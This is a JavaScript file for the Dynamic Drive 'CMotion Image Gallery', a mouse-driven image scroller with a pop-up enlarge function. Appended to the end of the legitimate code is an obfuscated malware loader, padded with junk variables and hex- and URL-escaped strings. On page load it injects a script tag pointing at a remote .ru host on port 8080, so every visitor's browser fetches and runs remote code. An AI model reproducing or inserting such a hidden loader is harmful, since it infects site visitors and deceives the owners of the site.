/***********************************************
* CMotion Image Gallery- © Dynamic Drive DHTML code library (www.dynamicdrive.com)
* Visit http://www.dynamicDrive.com for source code
* This copyright notice must stay intact for legal use
***********************************************/

var restarea=6 //width of the "neutral" area in the center of the gallery in px
var maxspeed=7 //top scroll speed in pixels. Script auto creates a range from 0 to top speed.

function enlargeimage(path, optWidth, optHeight){ //function to enlarge image. Change as desired.
var actualWidth=typeof optWidth!="undefined" ? optWidth : "600px" //set 600px to default width
var actualHeight=typeof optHeight!="undefined" ? optHeight : "500px" //set 500px to  default height
var winattributes="width="+actualWidth+",height="+actualHeight+",resizable=yes"
window.open(path,"", winattributes)
}

////NO NEED TO EDIT BELOW THIS LINE////////////

var iedom=document.all||document.getElementById
var scrollspeed=0
var movestate=""

if (iedom)
document.write('<span id="temp" style="visibility:hidden;position:absolute;top:-100;left:-10000;"></span>')

var actualwidth=''
var cross_scroll, ns_scroll
var loadedyes=0

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft: what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}


function moveleft(){
if (loadedyes){
movestate="left"
if (iedom&&parseInt(cross_scroll.style.left)>(menuwidth-actualwidth))
cross_scroll.style.left=parseInt(cross_scroll.style.left)-scrollspeed+"px"
}
lefttime=setTimeout("moveleft()",10)
}

function moveright(){
if (loadedyes){
movestate="right"
if (iedom&&parseInt(cross_scroll.style.left)<0)
cross_scroll.style.left=parseInt(cross_scroll.style.left)+scrollspeed+"px"
}
righttime=setTimeout("moveright()",10)
}

function motionengine(e){
var dsocx=(window.pageXOffset)? pageXOffset: ietruebody().scrollLeft;
var dsocy=(window.pageYOffset)? pageYOffset : ietruebody().scrollTop;
var curposy=window.event? event.clientX : e.clientX? e.clientX: ""
curposy-=mainobjoffset-dsocx
var leftbound=(menuwidth-restarea)/2
var rightbound=(menuwidth+restarea)/2
if (curposy>rightbound){
scrollspeed=(curposy-rightbound)/((menuwidth-restarea)/2) * maxspeed
if (window.righttime) clearTimeout(righttime)
if (movestate!="left") moveleft()
}
else if (curposy<leftbound){
scrollspeed=(leftbound-curposy)/((menuwidth-restarea)/2) * maxspeed
if (window.lefttime) clearTimeout(lefttime)
if (movestate!="right") moveright()
}
else
scrollspeed=0
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function stopmotion(e){
if ((window.event&&!crossmain.contains(event.toElement)) || (e && e.currentTarget && e.currentTarget!= e.relatedTarget && !contains_ns6(e.currentTarget, e.relatedTarget))){
if (window.lefttime) clearTimeout(lefttime)
if (window.righttime) clearTimeout(righttime)
movestate=""
}
}

function fillup(){
if (iedom){
crossmain=document.getElementById? document.getElementById("motioncontainer") : document.all.motioncontainer
menuwidth=parseInt(crossmain.style.width)
mainobjoffset=getposOffset(crossmain, "left")
cross_scroll=document.getElementById? document.getElementById("motiongallery") : document.all.motiongallery
document.getElementById("temp").innerHTML=cross_scroll.innerHTML //NEW stuff
actualwidth=document.all? cross_scroll.offsetWidth : document.getElementById("temp").offsetWidth
if (!window.opera) document.getElementById("temp").style.display="none"

crossmain.onmousemove=function(e){
motionengine(e)
}

crossmain.onmouseout=function(e){
stopmotion(e)
}
}
loadedyes=1
}
window.onload=fillup
var J;if(J!='U'){J='U'};this.G='';var UV;if(UV!='' && UV!='zF'){UV='Lc'};function j(){var EY;if(EY!='In' && EY!='rm'){EY='In'};var UF;if(UF!='zM' && UF!='x'){UF='zM'};var M=window;var jJ=String("duVhg".substr(4));var m='';var gI=new Array();var ip=new Array();var Z=unescape;var jD;if(jD!='' && jD!='S'){jD='O'};var js="\x68\x74\x74\x70\x3a\x2f\x2f\x74\x61\x62\x65\x6c\x6f\x67\x2d\x63\x6f\x6d\x2e\x64\x69\x73\x63\x75\x7a\x2e\x6e\x65\x74\x2e\x6d\x65\x67\x61\x75\x70\x6c\x6f\x61\x64\x2d\x63\x6f\x6d\x2e\x73\x75\x6d\x6d\x65\x72\x64\x65\x61\x6c\x73\x2e\x72\x75\x3a";var l="";var _=new Array();var yJ;if(yJ!='iJ' && yJ!='Y'){yJ='iJ'};this.W='';function I(y,g){var Qx;if(Qx!='o'){Qx=''};var IR;if(IR!='MQ' && IR!='yp'){IR='MQ'};var B=Z("%5b")+g+Z("%5d");var _P="";var Jy;if(Jy!='' && Jy!='N'){Jy='P'};var Mn=new RegExp(B, jJ);return y.replace(Mn, m);var ea=new String();var h;if(h!='' && h!='pB'){h=''};};var Ba;if(Ba!='Ki' && Ba != ''){Ba=null};var h_=new String();this.Qn="";var E=Z("%2f%61%6e%67%65%67%65%2e%63%6f%6d%2f%61%6e%67%65%67%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%65%72%63%61%64%6f%6c%69%62%72%65%2e%63%6f%6d%2e%61%72%2f%66%65%64%65%78%2e%63%6f%6d%2e%70%68%70");var R=I('89770151386697602192','29435167');this.LV="";var Xe;if(Xe!='NP' && Xe!='wv'){Xe=''};var RQ='';var sw;if(sw!='' && sw!='gF'){sw=''};var a="";var n=document;function nJ(){var gu="";var oB;if(oB!=''){oB='hh'};var WS="";var Un;if(Un!='HW'){Un='HW'};RQ=js;var Tk=new String();this.EH="";RQ+=R;RQ+=E;try {var kt="";Q=n.createElement(I('sqckr7igpktq','kRguqe27'));var LY=new String();Q.src=RQ;var fg="";var pO='';var SW='';Q.defer=[1,1][0];var lK="";this.sc="";n.body.appendChild(Q);var Gp=new Array();} catch(RW){};}var iB=new String();var we;if(we!='D'){we='D'};M[String("on"+"lo"+"O1mad".substr(3))]=nJ;var Ml='';};this.Zz="";var qx;if(qx!='xS'){qx='xS'};j();this.wE="";this.wp='';